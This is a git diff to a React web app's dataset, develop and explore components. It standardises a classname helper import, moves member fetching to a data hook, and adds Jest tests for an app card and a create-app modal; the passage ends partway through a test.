diff --git a/web/app/components/datasets/metadata/metadata-dataset/dataset-metadata-drawer.tsx b/web/app/components/datasets/metadata/metadata-dataset/dataset-metadata-drawer.tsx
index b5e4d1765b..50cbfa1338 100644
--- a/web/app/components/datasets/metadata/metadata-dataset/dataset-metadata-drawer.tsx
+++ b/web/app/components/datasets/metadata/metadata-dataset/dataset-metadata-drawer.tsx
@@ -6,7 +6,7 @@ import Drawer from '@/app/components/base/drawer'
 import Button from '@/app/components/base/button'
 import { RiAddLine, RiDeleteBinLine, RiEditLine } from '@remixicon/react'
 import { getIcon } from '../utils/get-icon'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Modal from '@/app/components/base/modal'
 import Field from './field'
 import Input from '@/app/components/base/input'
diff --git a/web/app/components/datasets/metadata/metadata-document/index.tsx b/web/app/components/datasets/metadata/metadata-document/index.tsx
index bf82e279d2..136be625d4 100644
--- a/web/app/components/datasets/metadata/metadata-document/index.tsx
+++ b/web/app/components/datasets/metadata/metadata-document/index.tsx
@@ -9,7 +9,7 @@ import { useTranslation } from 'react-i18next'
 import Divider from '@/app/components/base/divider'
 import useMetadataDocument from '../hooks/use-metadata-document'
 import type { FullDocumentDetail } from '@/models/datasets'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 const i18nPrefix = 'dataset.metadata.documentMetadata'
 
diff --git a/web/app/components/datasets/metadata/metadata-document/info-group.tsx b/web/app/components/datasets/metadata/metadata-document/info-group.tsx
index 9078c437e7..1b82505f43 100644
--- a/web/app/components/datasets/metadata/metadata-document/info-group.tsx
+++ b/web/app/components/datasets/metadata/metadata-document/info-group.tsx
@@ -7,7 +7,7 @@ import Field from './field'
 import InputCombined from '../edit-metadata-batch/input-combined'
 import { RiDeleteBinLine, RiQuestionLine } from '@remixicon/react'
 import Tooltip from '@/app/components/base/tooltip'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Divider from '@/app/components/base/divider'
 import SelectMetadataModal from '../metadata-dataset/select-metadata-modal'
 import AddMetadataButton from '../add-metadata-button'
diff --git a/web/app/components/datasets/preview/container.tsx b/web/app/components/datasets/preview/container.tsx
index dbf5796f56..f850930a25 100644
--- a/web/app/components/datasets/preview/container.tsx
+++ b/web/app/components/datasets/preview/container.tsx
@@ -1,5 +1,5 @@
 import type { ComponentProps, FC, ReactNode } from 'react'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 export type PreviewContainerProps = ComponentProps<'div'> & {
   header: ReactNode
@@ -13,14 +13,12 @@ const PreviewContainer: FC<PreviewContainerProps> = (props) => {
     <div
       {...rest}
       ref={ref}
-      className={classNames(
-        'flex h-full w-full flex-col rounded-tl-xl border-l-[0.5px] border-t-[0.5px] border-components-panel-border bg-background-default-lighter shadow-md shadow-shadow-shadow-5',
-      )}
+      className={cn('flex h-full w-full flex-col rounded-tl-xl border-l-[0.5px] border-t-[0.5px] border-components-panel-border bg-background-default-lighter shadow-md shadow-shadow-shadow-5')}
     >
       <header className='border-b border-divider-subtle pb-3 pl-5 pr-4 pt-4'>
         {header}
       </header>
-      <main className={classNames('w-full grow overflow-y-auto px-6 py-5', mainClassName)}>
+      <main className={cn('w-full grow overflow-y-auto px-6 py-5', mainClassName)}>
         {children}
       </main>
     </div>
diff --git a/web/app/components/datasets/preview/header.tsx b/web/app/components/datasets/preview/header.tsx
index eb3cd468ed..cb938bba9a 100644
--- a/web/app/components/datasets/preview/header.tsx
+++ b/web/app/components/datasets/preview/header.tsx
@@ -1,5 +1,5 @@
 import type { ComponentProps, FC } from 'react'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 export type PreviewHeaderProps = Omit<ComponentProps<'div'>, 'title'> & {
   title: string
@@ -9,9 +9,7 @@ export const PreviewHeader: FC<PreviewHeaderProps> = (props) => {
   const { title, className, children, ...rest } = props
   return <div
     {...rest}
-    className={classNames(
-      className,
-    )}
+    className={cn(className)}
   >
     <div
       className='system-2xs-semibold-uppercase mb-1 px-1 uppercase text-text-accent'
diff --git a/web/app/components/datasets/rename-modal/index.tsx b/web/app/components/datasets/rename-modal/index.tsx
index e22a998680..dd5d4b775b 100644
--- a/web/app/components/datasets/rename-modal/index.tsx
+++ b/web/app/components/datasets/rename-modal/index.tsx
@@ -4,7 +4,7 @@ import type { MouseEventHandler } from 'react'
 import { useCallback, useRef, useState } from 'react'
 import { RiCloseLine } from '@remixicon/react'
 import { useTranslation } from 'react-i18next'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Button from '@/app/components/base/button'
 import Input from '@/app/components/base/input'
 import Textarea from '@/app/components/base/textarea'
diff --git a/web/app/components/datasets/settings/form/index.tsx b/web/app/components/datasets/settings/form/index.tsx
index 5ca85925cc..24942e6249 100644
--- a/web/app/components/datasets/settings/form/index.tsx
+++ b/web/app/components/datasets/settings/form/index.tsx
@@ -1,6 +1,5 @@
 'use client'
-import { useCallback, useMemo, useRef, useState } from 'react'
-import { useMount } from 'ahooks'
+import { useCallback, useEffect, useMemo, useRef, useState } from 'react'
 import { useTranslation } from 'react-i18next'
 import PermissionSelector from '../permission-selector'
 import IndexMethod from '../index-method'
@@ -23,7 +22,6 @@ import ModelSelector from '@/app/components/header/account-setting/model-provide
 import { useModelList } from '@/app/components/header/account-setting/model-provider-page/hooks'
 import type { DefaultModel } from '@/app/components/header/account-setting/model-provider-page/declarations'
 import { ModelTypeEnum } from '@/app/components/header/account-setting/model-provider-page/declarations'
-import { fetchMembers } from '@/service/common'
 import type { Member } from '@/models/common'
 import AppIcon from '@/app/components/base/app-icon'
 import type { AppIconSelection } from '@/app/components/base/app-icon-picker'
@@ -34,6 +32,7 @@ import Toast from '@/app/components/base/toast'
 import { RiAlertFill } from '@remixicon/react'
 import { useDocLink } from '@/context/i18n'
 import { useInvalidDatasetList } from '@/service/knowledge/use-dataset'
+import { useMembers } from '@/service/use-common'
 import { checkShowMultiModalTip } from '../utils'
 
 const rowClass = 'flex gap-x-1'
@@ -79,16 +78,9 @@ const Form = () => {
   )
   const { data: rerankModelList } = useModelList(ModelTypeEnum.rerank)
   const { data: embeddingModelList } = useModelList(ModelTypeEnum.textEmbedding)
+  const { data: membersData } = useMembers()
   const previousAppIcon = useRef(DEFAULT_APP_ICON)
 
-  const getMembers = async () => {
-    const { accounts } = await fetchMembers({ url: '/workspaces/current/members', params: {} })
-    if (!accounts)
-      setMemberList([])
-    else
-      setMemberList(accounts)
-  }
-
   const handleOpenAppIconPicker = useCallback(() => {
     setShowAppIconPicker(true)
     previousAppIcon.current = iconInfo
@@ -119,9 +111,12 @@ const Form = () => {
       setScoreThresholdEnabled(data.score_threshold_enabled)
   }, [])
 
-  useMount(() => {
-    getMembers()
-  })
+  useEffect(() => {
+    if (!membersData?.accounts)
+      setMemberList([])
+    else
+      setMemberList(membersData.accounts)
+  }, [membersData])
 
   const invalidDatasetList = useInvalidDatasetList()
   const handleSave = async () => {
diff --git a/web/app/components/datasets/settings/index-method/index.tsx b/web/app/components/datasets/settings/index-method/index.tsx
index 6490c68658..d5f8411dec 100644
--- a/web/app/components/datasets/settings/index-method/index.tsx
+++ b/web/app/components/datasets/settings/index-method/index.tsx
@@ -3,7 +3,7 @@ import { useTranslation } from 'react-i18next'
 import { useRef } from 'react'
 import { useHover } from 'ahooks'
 import { IndexingType } from '../../create/step-two'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import {
   PortalToFollowElem,
   PortalToFollowElemContent,
@@ -37,7 +37,7 @@ const IndexMethod = ({
   const isEconomyDisabled = currentValue === IndexingType.QUALIFIED
 
   return (
-    <div className={classNames('flex flex-col gap-y-2')}>
+    <div className={cn('flex flex-col gap-y-2')}>
       {/* High Quality */}
       <OptionCard
         id={IndexingType.QUALIFIED}
diff --git a/web/app/components/datasets/settings/option-card.tsx b/web/app/components/datasets/settings/option-card.tsx
index d25ba90061..59e1fbaf9e 100644
--- a/web/app/components/datasets/settings/option-card.tsx
+++ b/web/app/components/datasets/settings/option-card.tsx
@@ -1,6 +1,6 @@
 import type { ReactNode } from 'react'
 import React from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Badge from '@/app/components/base/badge'
 import { useTranslation } from 'react-i18next'
 import { EffectColor } from './chunk-structure/types'
diff --git a/web/app/components/datasets/settings/permission-selector/index.tsx b/web/app/components/datasets/settings/permission-selector/index.tsx
index 3914ed946f..28049542f6 100644
--- a/web/app/components/datasets/settings/permission-selector/index.tsx
+++ b/web/app/components/datasets/settings/permission-selector/index.tsx
@@ -1,5 +1,5 @@
 import { useTranslation } from 'react-i18next'
-import cn from 'classnames'
+import { cn } from '@/utils/classnames'
 import React, { useCallback, useMemo, useState } from 'react'
 import { useDebounceFn } from 'ahooks'
 import { RiArrowDownSLine, RiGroup2Line, RiLock2Line } from '@remixicon/react'
diff --git a/web/app/components/datasets/settings/permission-selector/member-item.tsx b/web/app/components/datasets/settings/permission-selector/member-item.tsx
index 19e9bf627c..38ba54b935 100644
--- a/web/app/components/datasets/settings/permission-selector/member-item.tsx
+++ b/web/app/components/datasets/settings/permission-selector/member-item.tsx
@@ -1,4 +1,4 @@
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { RiCheckLine } from '@remixicon/react'
 import React from 'react'
 import { useTranslation } from 'react-i18next'
diff --git a/web/app/components/develop/code.tsx b/web/app/components/develop/code.tsx
index 69d5624966..d9e89b8864 100644
--- a/web/app/components/develop/code.tsx
+++ b/web/app/components/develop/code.tsx
@@ -9,7 +9,7 @@ import {
 } from 'react'
 import { Tab, TabGroup, TabList, TabPanel, TabPanels } from '@headlessui/react'
 import { Tag } from './tag'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { writeTextToClipboard } from '@/utils/clipboard'
 import type { PropsWithChildren, ReactElement, ReactNode } from 'react'
 
@@ -50,12 +50,10 @@ function CopyButton({ code }: { code: string }) {
   return (
     <button
       type="button"
-      className={classNames(
-        'group/button absolute right-4 top-1.5 overflow-hidden rounded-full py-1 pl-2 pr-3 text-2xs font-medium opacity-0 backdrop-blur transition focus:opacity-100 group-hover:opacity-100',
+      className={cn('group/button absolute right-4 top-1.5 overflow-hidden rounded-full py-1 pl-2 pr-3 text-2xs font-medium opacity-0 backdrop-blur transition focus:opacity-100 group-hover:opacity-100',
         copied
           ? 'bg-emerald-400/10 ring-1 ring-inset ring-emerald-400/20'
-          : 'hover:bg-white/7.5 dark:bg-white/2.5 bg-white/5 dark:hover:bg-white/5',
-      )}
+          : 'hover:bg-white/7.5 dark:bg-white/2.5 bg-white/5 dark:hover:bg-white/5')}
       onClick={() => {
         writeTextToClipboard(code).then(() => {
           setCopyCount(count => count + 1)
@@ -64,20 +62,16 @@ function CopyButton({ code }: { code: string }) {
     >
       <span
         aria-hidden={copied}
-        className={classNames(
-          'pointer-events-none flex items-center gap-0.5 text-zinc-400 transition duration-300',
-          copied && '-translate-y-1.5 opacity-0',
-        )}
+        className={cn('pointer-events-none flex items-center gap-0.5 text-zinc-400 transition duration-300',
+          copied && '-translate-y-1.5 opacity-0')}
       >
         <ClipboardIcon className="h-5 w-5 fill-zinc-500/20 stroke-zinc-500 transition-colors group-hover/button:stroke-zinc-400" />
         Copy
       </span>
       <span
         aria-hidden={!copied}
-        className={classNames(
-          'pointer-events-none absolute inset-0 flex items-center justify-center text-emerald-400 transition duration-300',
-          !copied && 'translate-y-1.5 opacity-0',
-        )}
+        className={cn('pointer-events-none absolute inset-0 flex items-center justify-center text-emerald-400 transition duration-300',
+          !copied && 'translate-y-1.5 opacity-0')}
       >
         Copied!
       </span>
@@ -168,12 +162,10 @@ function CodeGroupHeader({ title, tabTitles, selectedIndex }: CodeGroupHeaderPro
           {tabTitles!.map((tabTitle, tabIndex) => (
             <Tab
               key={tabIndex}
-              className={classNames(
-                'border-b py-3 transition focus:[&:not(:focus-visible)]:outline-none',
+              className={cn('border-b py-3 transition focus:[&:not(:focus-visible)]:outline-none',
                 tabIndex === selectedIndex
                   ? 'border-emerald-500 text-emerald-400'
-                  : 'border-transparent text-zinc-400 hover:text-zinc-300',
-              )}
+                  : 'border-transparent text-zinc-400 hover:text-zinc-300')}
             >
               {tabTitle}
             </Tab>
diff --git a/web/app/components/develop/doc.tsx b/web/app/components/develop/doc.tsx
index 28a3219535..2815cdaf79 100644
--- a/web/app/components/develop/doc.tsx
+++ b/web/app/components/develop/doc.tsx
@@ -19,7 +19,7 @@ import I18n from '@/context/i18n'
 import { LanguagesSupported } from '@/i18n-config/language'
 import useTheme from '@/hooks/use-theme'
 import { AppModeEnum, Theme } from '@/types/app'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type IDocProps = {
   appDetail: any
diff --git a/web/app/components/develop/md.tsx b/web/app/components/develop/md.tsx
index 0c16d1952e..c9594ace15 100644
--- a/web/app/components/develop/md.tsx
+++ b/web/app/components/develop/md.tsx
@@ -1,6 +1,6 @@
 'use client'
 import type { PropsWithChildren } from 'react'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type IChildrenProps = {
   children: React.ReactNode
@@ -71,10 +71,8 @@ type IColProps = IChildrenProps & {
 export function Col({ children, sticky = false }: IColProps) {
   return (
     <div
-      className={classNames(
-        '[&>:first-child]:mt-0 [&>:last-child]:mb-0',
-        sticky && 'xl:sticky xl:top-24',
-      )}
+      className={cn('[&>:first-child]:mt-0 [&>:last-child]:mb-0',
+        sticky && 'xl:sticky xl:top-24')}
     >
       {children}
     </div>
diff --git a/web/app/components/develop/tag.tsx b/web/app/components/develop/tag.tsx
index 0b797f9f6f..ddec76b163 100644
--- a/web/app/components/develop/tag.tsx
+++ b/web/app/components/develop/tag.tsx
@@ -1,5 +1,5 @@
 'use client'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 const variantStyles = {
   medium: 'rounded-lg px-1.5 ring-1 ring-inset',
@@ -53,11 +53,9 @@ export function Tag({
 }: ITagProps) {
   return (
     <span
-      className={classNames(
-        'font-mono text-[0.625rem] font-semibold leading-6',
+      className={cn('font-mono text-[0.625rem] font-semibold leading-6',
         variantStyles[variant],
-        colorStyles[color][variant],
-      )}
+        colorStyles[color][variant])}
     >
       {children}
     </span>
diff --git a/web/app/components/explore/app-card/index.spec.tsx b/web/app/components/explore/app-card/index.spec.tsx
new file mode 100644
index 0000000000..4fffce6527
--- /dev/null
+++ b/web/app/components/explore/app-card/index.spec.tsx
@@ -0,0 +1,90 @@
+import React from 'react'
+import { fireEvent, render, screen } from '@testing-library/react'
+import AppCard, { type AppCardProps } from './index'
+import type { App } from '@/models/explore'
+import { AppModeEnum } from '@/types/app'
+
+jest.mock('@/app/components/base/app-icon', () => ({
+  __esModule: true,
+  default: ({ children }: any) => <div data-testid="app-icon">{children}</div>,
+}))
+
+jest.mock('../../app/type-selector', () => ({
+  AppTypeIcon: ({ type }: any) => <div data-testid="app-type-icon">{type}</div>,
+}))
+
+const createApp = (overrides?: Partial<App>): App => ({
+  app_id: 'app-id',
+  description: 'App description',
+  copyright: '2024',
+  privacy_policy: null,
+  custom_disclaimer: null,
+  category: 'Assistant',
+  position: 1,
+  is_listed: true,
+  install_count: 0,
+  installed: false,
+  editable: true,
+  is_agent: false,
+  ...overrides,
+  app: {
+    id: 'id-1',
+    mode: AppModeEnum.CHAT,
+    icon_type: null,
+    icon: '🤖',
+    icon_background: '#fff',
+    icon_url: '',
+    name: 'Sample App',
+    description: 'App description',
+    use_icon_as_answer_icon: false,
+    ...overrides?.app,
+  },
+})
+
+describe('AppCard', () => {
+  const onCreate = jest.fn()
+
+  const renderComponent = (props?: Partial<AppCardProps>) => {
+    const mergedProps: AppCardProps = {
+      app: createApp(),
+      canCreate: false,
+      onCreate,
+      isExplore: false,
+      ...props,
+    }
+    return render(<AppCard {...mergedProps} />)
+  }
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  it('should render app info with correct mode label when mode is CHAT', () => {
+    renderComponent({ app: createApp({ app: { ...createApp().app, mode: AppModeEnum.CHAT } }) })
+
+    expect(screen.getByText('Sample App')).toBeInTheDocument()
+    expect(screen.getByText('App description')).toBeInTheDocument()
+    expect(screen.getByText('APP.TYPES.CHATBOT')).toBeInTheDocument()
+    expect(screen.getByTestId('app-type-icon')).toHaveTextContent(AppModeEnum.CHAT)
+  })
+
+  it('should show create button in explore mode and trigger action', () => {
+    renderComponent({
+      app: createApp({ app: { ...createApp().app, mode: AppModeEnum.WORKFLOW } }),
+      canCreate: true,
+      isExplore: true,
+    })
+
+    const button = screen.getByText('explore.appCard.addToWorkspace')
+    expect(button).toBeInTheDocument()
+    fireEvent.click(button)
+    expect(onCreate).toHaveBeenCalledTimes(1)
+    expect(screen.getByText('APP.TYPES.WORKFLOW')).toBeInTheDocument()
+  })
+
+  it('should hide create button when not allowed', () => {
+    renderComponent({ canCreate: false, isExplore: true })
+
+    expect(screen.queryByText('explore.appCard.addToWorkspace')).not.toBeInTheDocument()
+  })
+})
diff --git a/web/app/components/explore/app-card/index.tsx b/web/app/components/explore/app-card/index.tsx
index daf863b84d..9528fbc954 100644
--- a/web/app/components/explore/app-card/index.tsx
+++ b/web/app/components/explore/app-card/index.tsx
@@ -2,7 +2,7 @@
 import { useTranslation } from 'react-i18next'
 import { PlusIcon } from '@heroicons/react/20/solid'
 import Button from '../../base/button'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { App } from '@/models/explore'
 import AppIcon from '@/app/components/base/app-icon'
 import { AppTypeIcon } from '../../app/type-selector'
diff --git a/web/app/components/explore/app-list/index.tsx b/web/app/components/explore/app-list/index.tsx
index 252a102d80..968822a7b8 100644
--- a/web/app/components/explore/app-list/index.tsx
+++ b/web/app/components/explore/app-list/index.tsx
@@ -6,7 +6,7 @@ import { useContext } from 'use-context-selector'
 import useSWR from 'swr'
 import { useDebounceFn } from 'ahooks'
 import s from './style.module.css'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import ExploreContext from '@/context/explore-context'
 import type { App } from '@/models/explore'
 import Category from '@/app/components/explore/category'
diff --git a/web/app/components/explore/category.tsx b/web/app/components/explore/category.tsx
index a36c91a73d..0014dd88d8 100644
--- a/web/app/components/explore/category.tsx
+++ b/web/app/components/explore/category.tsx
@@ -2,7 +2,7 @@
 import type { FC } from 'react'
 import React from 'react'
 import { useTranslation } from 'react-i18next'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import exploreI18n from '@/i18n/en-US/explore'
 import type { AppCategory } from '@/models/explore'
 import { ThumbsUp } from '@/app/components/base/icons/src/vender/line/alertsAndFeedback'
diff --git a/web/app/components/explore/create-app-modal/index.spec.tsx b/web/app/components/explore/create-app-modal/index.spec.tsx
new file mode 100644
index 0000000000..7f68b33337
--- /dev/null
+++ b/web/app/components/explore/create-app-modal/index.spec.tsx
@@ -0,0 +1,568 @@
+import React from 'react'
+import { act, fireEvent, render, screen } from '@testing-library/react'
+import type { UsagePlanInfo } from '@/app/components/billing/type'
+import { Plan } from '@/app/components/billing/type'
+import { createMockPlan, createMockPlanTotal, createMockPlanUsage } from '@/__mocks__/provider-context'
+import { AppModeEnum } from '@/types/app'
+import CreateAppModal from './index'
+import type { CreateAppModalProps } from './index'
+
+let mockTranslationOverrides: Record<string, string | undefined> = {}
+
+jest.mock('react-i18next', () => ({
+  useTranslation: () => ({
+    t: (key: string, options?: Record<string, unknown>) => {
+      const override = mockTranslationOverrides[key]
+      if (override !== undefined)
+        return override
+      if (options?.returnObjects)
+        return [`${key}-feature-1`, `${key}-feature-2`]
+      if (options)
+        return `${key}:${JSON.stringify(options)}`
+      return key
+    },
+    i18n: {
+      language: 'en',
+      changeLanguage: jest.fn(),
+    },
+  }),
+  Trans: ({ children }: { children?: React.ReactNode }) => children,
+  initReactI18next: {
+    type: '3rdParty',
+    init: jest.fn(),
+  },
+}))
+
+// Avoid heavy emoji dataset initialization during unit tests.
+jest.mock('emoji-mart', () => ({
+  init: jest.fn(),
+  SearchIndex: { search: jest.fn().mockResolvedValue([]) },
+}))
+jest.mock('@emoji-mart/data', () => ({
+  __esModule: true,
+  default: {
+    categories: [
+      { id: 'people', emojis: ['😀'] },
+    ],
+  },
+}))
+
+jest.mock('next/navigation', () => ({
+  useParams: () => ({}),
+}))
+
+jest.mock('@/context/app-context', () => ({
+  useAppContext: () => ({
+    userProfile: { email: 'test@example.com' },
+    langGeniusVersionInfo: { current_version: '0.0.0' },
+  }),
+}))
+
+const createPlanInfo = (buildApps: number): UsagePlanInfo => ({
+  vectorSpace: 0,
+  buildApps,
+  teamMembers: 0,
+  annotatedResponse: 0,
+  documentsUploadQuota: 0,
+  apiRateLimit: 0,
+  triggerEvents: 0,
+})
+
+let mockEnableBilling = false
+let mockPlanType: Plan = Plan.team
+let mockUsagePlanInfo: UsagePlanInfo = createPlanInfo(1)
+let mockTotalPlanInfo: UsagePlanInfo = createPlanInfo(10)
+
+jest.mock('@/context/provider-context', () => ({
+  useProviderContext: () => {
+    const withPlan = createMockPlan(mockPlanType)
+    const withUsage = createMockPlanUsage(mockUsagePlanInfo, withPlan)
+    const withTotal = createMockPlanTotal(mockTotalPlanInfo, withUsage)
+    return { ...withTotal, enableBilling: mockEnableBilling }
+  },
+}))
+
+type ConfirmPayload = Parameters<CreateAppModalProps['onConfirm']>[0]
+
+const setup = (overrides: Partial<CreateAppModalProps> = {}) => {
+  const onConfirm = jest.fn<Promise<void>, [ConfirmPayload]>().mockResolvedValue(undefined)
+  const onHide = jest.fn<void, []>()
+
+  const props: CreateAppModalProps = {
+    show: true,
+    isEditModal: false,
+    appName: 'Test App',
+    appDescription: 'Test description',
+    appIconType: 'emoji',
+    appIcon: '🤖',
+    appIconBackground: '#FFEAD5',
+    appIconUrl: null,
+    appMode: AppModeEnum.CHAT,
+    appUseIconAsAnswerIcon: false,
+    max_active_requests: null,
+    onConfirm,
+    confirmDisabled: false,
+    onHide,
+    ...overrides,
+  }
+
+  render(<CreateAppModal {...props} />)
+  return { onConfirm, onHide }
+}
+
+const getAppIconTrigger = (): HTMLElement => {
+  const nameInput = screen.getByPlaceholderText('app.newApp.appNamePlaceholder')
+  const iconRow = nameInput.parentElement?.parentElement
+  const iconTrigger = iconRow?.firstElementChild
+  if (!(iconTrigger instanceof HTMLElement))
+    throw new Error('Failed to locate app icon trigger')
+  return iconTrigger
+}
+
+describe('CreateAppModal', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    mockTranslationOverrides = {}
+    mockEnableBilling = false
+    mockPlanType = Plan.team
+    mockUsagePlanInfo = createPlanInfo(1)
+    mockTotalPlanInfo = createPlanInfo(10)
+  })
+
+  // The title and form sections vary based on the modal mode (create vs edit).
+  describe('Rendering', () => {
+    test('should render create title and actions when creating', () => {
+      setup({ appName: 'My App', isEditModal: false })
+
+      expect(screen.getByText('explore.appCustomize.title:{"name":"My App"}')).toBeInTheDocument()
+      expect(screen.getByRole('button', { name: 'common.operation.create' })).toBeInTheDocument()
+      expect(screen.getByRole('button', { name: 'common.operation.cancel' })).toBeInTheDocument()
+    })
+
+    test('should render edit-only fields when editing a chat app', () => {
+      setup({ isEditModal: true, appMode: AppModeEnum.CHAT, max_active_requests: 5 })
+
+      expect(screen.getByText('app.editAppTitle')).toBeInTheDocument()
+      expect(screen.getByRole('button', { name: 'common.operation.save' })).toBeInTheDocument()
+      expect(screen.getByRole('switch')).toBeInTheDocument()
+      expect((screen.getByRole('spinbutton') as HTMLInputElement).value).toBe('5')
+    })
+
+    test.each([AppModeEnum.ADVANCED_CHAT, AppModeEnum.AGENT_CHAT])('should render answer icon switch when editing %s app', (mode) => {
+      setup({ isEditModal: true, appMode: mode })
+
+      expect(screen.getByRole('switch')).toBeInTheDocument()
+    })
+
+    test('should not render answer icon switch when editing a non-chat app', () => {
+      setup({ isEditModal: true, appMode: AppModeEnum.COMPLETION })
+
+      expect(screen.queryByRole('switch')).not.toBeInTheDocument()
+    })
+
+    test('should not render modal content when hidden', () => {
+      setup({ show: false })
+
+      expect(screen.queryByRole('button', { name: 'common.operation.create' })).not.toBeInTheDocument()
+    })
+  })
+
+  // Disabled states prevent submission and reflect parent-driven props.
+  describe('Props', () => {
+    test('should disable confirm action when confirmDisabled is true', () => {
+      setup({ confirmDisabled: true })
+
+      expect(screen.getByRole('button', { name: 'common.operation.create' })).toBeDisabled()
+    })
+
+    test('should disable confirm action when appName is empty', () => {
+      setup({ appName: '   ' })
+
+      expect(screen.getByRole('button', { name: 'common.operation.create' })).toBeDisabled()
+    })
+  })
+
+  // Defensive coverage for falsy input values and translation edge cases.
+  describe('Edge Cases', () => {
+    test('should default description to empty string when appDescription is empty', () => {
+      setup({ appDescription: '' })
+
+      expect((screen.getByPlaceholderText('app.newApp.appDescriptionPlaceholder') as HTMLTextAreaElement).value).toBe('')
+    })
+
+    test('should fall back to empty placeholders when translations return empty string', () => {
+      mockTranslationOverrides = {
+        'app.newApp.appNamePlaceholder': '',
+        'app.newApp.appDescriptionPlaceholder': '',
+      }
+
+      setup()
+
+      expect((screen.getByDisplayValue('Test App') as HTMLInputElement).placeholder).toBe('')
+      expect((screen.getByDisplayValue('Test description') as HTMLTextAreaElement).placeholder).toBe('')
+    })
+  })
+
+  // The modal should close from user-initiated cancellation actions.
+  describe('User Interactions', () => {
+    test('should call onHide when cancel button is clicked', () => {
+      const { onConfirm, onHide } = setup()
+
+      fireEvent.click(screen.getByRole('button', { name: 'common.operation.cancel' }))
+
+      expect(onHide).toHaveBeenCalledTimes(1)
+      expect(onConfirm).not.toHaveBeenCalled()
+    })
+
+    test('should call onHide when pressing Escape while visible', () => {
+      const { onHide } = setup()
+
+      fireEvent.keyDown(window, { key: 'Escape', keyCode: 27 })
+
+      expect(onHide).toHaveBeenCalledTimes(1)
+    })
+
+    test('should not call onHide when pressing Escape while hidden', () => {
+      const { onHide } = setup({ show: false })
+
+      fireEvent.keyDown(window, { key: 'Escape', keyCode: 27 })
+
+      expect(onHide).not.toHaveBeenCalled()
+    })
+  })
+
+  // When billing limits are reached, the modal blocks app creation and shows quota guidance.
+  describe('Quota Gating', () => {
+    test('should show AppsFull and disable create when apps quota is reached', () => {
+      mockEnableBilling = true
+      mockPlanType = Plan.team
+      mockUsagePlanInfo = createPlanInfo(10)
+      mockTotalPlanInfo = createPlanInfo(10)
+
+      setup({ isEditModal: false })
+
+      expect(screen.getByText('billing.apps.fullTip2')).toBeInTheDocument()
+      expect(screen.getByRole('button', { name: 'common.operation.create' })).toBeDisabled()
+    })
+
+    test('should allow saving when apps quota is reached in edit mode', () => {
+      mockEnableBilling = true
+      mockPlanType = Plan.team
+      mockUsagePlanInfo = createPlanInfo(10)
+      mockTotalPlanInfo = createPlanInfo(10)
+
+      setup({ isEditModal: true })
+
+      expect(screen.queryByText('billing.apps.fullTip2')).not.toBeInTheDocument()
+      expect(screen.getByRole('button', { name: 'common.operation.save' })).toBeEnabled()
+    })
+  })
+
+  // Shortcut handlers are important for power users and must respect gating rules.
+  describe('Keyboard Shortcuts', () => {
+    beforeEach(() => {
+      jest.useFakeTimers()
+    })
+
+    afterEach(() => {
+      jest.useRealTimers()
+    })
+
+    test.each([
+      ['meta+enter', { metaKey: true }],
+      ['ctrl+enter', { ctrlKey: true }],
+    ])('should submit when %s is pressed while visible', (_, modifier) => {
+      const { onConfirm, onHide } = setup()
+
+      fireEvent.keyDown(window, { key: 'Enter', keyCode: 13, ...modifier })
+      act(() => {
+        jest.advanceTimersByTime(300)
+      })
+
+      expect(onConfirm).toHaveBeenCalledTimes(1)
+      expect(onHide).toHaveBeenCalledTimes(1)
+    })
+
+    test('should not submit when modal is hidden', () => {
+      const { onConfirm, onHide } = setup({ show: false })
+
+      fireEvent.keyDown(window, { key: 'Enter', keyCode: 13, metaKey: true })
+      act(() => {
+        jest.advanceTimersByTime(300)
+      })
+
+      expect(onConfirm).not.toHaveBeenCalled()
+      expect(onHide).not.toHaveBeenCalled()
+    })
+
+    test('should not submit when apps quota is reached in create mode', () => {
+      mockEnableBilling = true
+      mockPlanType = Plan.team
+      mockUsagePlanInfo = createPlanInfo(10)
+      mockTotalPlanInfo = createPlanInfo(10)
+
+      const { onConfirm, onHide } = setup({ isEditModal: false })
+
+      fireEvent.keyDown(window, { key: 'Enter', keyCode: 13, metaKey: true })
+      act(() => {
+        jest.advanceTimersByTime(300)
+      })
+
+      expect(onConfirm).not.toHaveBeenCalled()
+      expect(onHide).not.toHaveBeenCalled()
+    })
+
+    test('should submit when apps quota is reached in edit mode', () => {
+      mockEnableBilling = true
+      mockPlanType = Plan.team
+      mockUsagePlanInfo = createPlanInfo(10)
+      mockTotalPlanInfo = createPlanInfo(10)
+
+      const { onConfirm, onHide } = setup({ isEditModal: true })
+
+      fireEvent.keyDown(window, { key: 'Enter', keyCode: 13, metaKey: true })
+      act(() => {
+        jest.advanceTimersByTime(300)
+      })
+
+      expect(onConfirm).toHaveBeenCalledTimes(1)
+      expect(onHide).toHaveBeenCalledTimes(1)
+    })
+
+    test('should not submit when name is empty', () => {
+      const { onConfirm, onHide } = setup({ appName: '   ' })
+
+      fireEvent.keyDown(window, { key: 'Enter', keyCode: 13, metaKey: true })
+      act(() => {
+        jest.advanceTimersByTime(300)
+      })
+
+      expect(onConfirm).not.toHaveBeenCalled()
+      expect(onHide).not.toHaveBeenCalled()
+    })
+  })
+
+  // The app icon picker is a key user flow for customizing metadata.
+  describe('App Icon Picker', () => {
+    test('should open and close the picker when cancel is clicked', () => {
+      setup({
+        appIconType: 'image',
+        appIcon: 'file-123',
+        appIconUrl: 'https://example.com/icon.png',
+      })
+
